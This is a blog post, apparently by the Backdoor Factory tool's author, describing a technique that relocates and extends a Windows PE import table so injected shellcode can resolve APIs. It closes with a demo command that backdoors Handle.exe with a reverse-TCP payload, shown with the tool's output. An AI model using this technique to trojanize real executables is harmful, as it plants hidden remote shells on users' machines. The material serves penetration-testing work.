New BDF Feature: Import Table 'Patching'

The PE file Import Table - what does it do?

It is what makes a windows binary a portable executable.

Think of it as a reference table for all the Windows APIs (or custom apis) that will be called by the binary.  It's created at compile time.

Within the Import Table there are thunks, these are populated with winAPI addresses at load time.  This is advantageous because with ASLR you cannot have static API addresses programmed into the thunks and the binary would not be portable because of API address differences between windows operating systems.

These APIs are pointed to by an Import Directory Table with an entry for each imported API. Within this structure there are pointers to the API thunk, the thunk is populated with an address at load time in memory. When the binary was compiled, each program call to each thunk was statically set - e.g. position dependent. The relative virtual address (RVA) from module entry in memory of these thunks do not change between execution, it's always the same RVA offset for that particular binary until it is recompiled, statically modified, or redirected in memory via hooking.

BDF began by using Metasploit windows shellcode for payloads. It worked. Stephen Fewer's hash lookup api is great, it is position independent, and great for exploitation. While AV evasion wasn't perfect, code cave jumping helped with that issue. However, EMET blocks Metasploit payloads because of the way Stephen Fewer's hash lookup api works, using the Kernel32.dll EAT to find LoadLibrary/GetProcAddress and then the API address to be called (or rather via jmp instruction).  As such I wanted to move away from the hash lookup api to using the Import Table directly.  Because the Backdoor Factory (BDF) is statically patching binaries and compiled binaries use position dependent code, so should BDF.  BDF could use the APIs already in the Import Table to build a payload - LoadLibraryA and GetProcAddress is all you need. Most binaries have these two APIs.  However, not all of them.

Enter IAT 'patching'.

I call it 'patching', but rather it is redirection and addition of new APIs.

Adding imports to an existing IAT would be ludicrous and somewhat painful. I do want to attempt this at some point when I have time and an appetite for self destruction. TL;DR One would need to add an API in the middle of the Import Table, changing the following API offsets and size for the section, potentially changing offsets for entire sections afterwards, and other yet unknown potential offsets.

So what did I do?

1. Copy the Import Directory Table into a new PE section appended on the end of the binary.
2. Change the Import Table pointer in the Optional Header to the new Import Directory Table in the new section.
3. Instead of ending the Import Directory Table with a null byte entry, build a new Import Table (of sorts) right onto the end of it, following standard convention (,

And that's it.

BDF windows payloads that have 'iat' in the name will look for APIs in the Import Table first, then if missing, will automatically add those missing APIs into the new Import Table in the new section.  I just added a new payload that uses the Import Table for x64 PE files, iat_reverse_tcp, same concept as the x86 version added back in May 2014. I'm making the move to get away from from Metasploit payloads, but I still what to use meterpreter and other payloads that pentesters are used too. Stay tuned.

Right now these payloads use LoadLibraryA/GetProcAddress to load a payload.

In the future, I will get away from these two APIs and use the actual APIs needed for each payload since I can add them in a new Import Table if they do not exist in the original Import Table.

Other uses?  Using this technique I could rebuild an Import Table or recreate one from API calls in memory. From malware perhaps or packed executables - I don't know.

If you can think of any other uses for Import Table rebuilding contact me on twitter: @midnite_runr

Simple Demo:
$ wget

$ ./ -f Handle.exe -s iat_reverse_tcp -P 8080 -H -q
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories            
[*] Adding New Section for updated Import Table
[!] Adding LoadLibraryA Thunk in new IAT              #<-- import table creation
[*] Gathering file info                                                  #<-- updating PE info
[*] Checking updated IAT for thunks                          #<-- checking for success
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 382
[*] All caves lengths:  (382,)


Popular Posts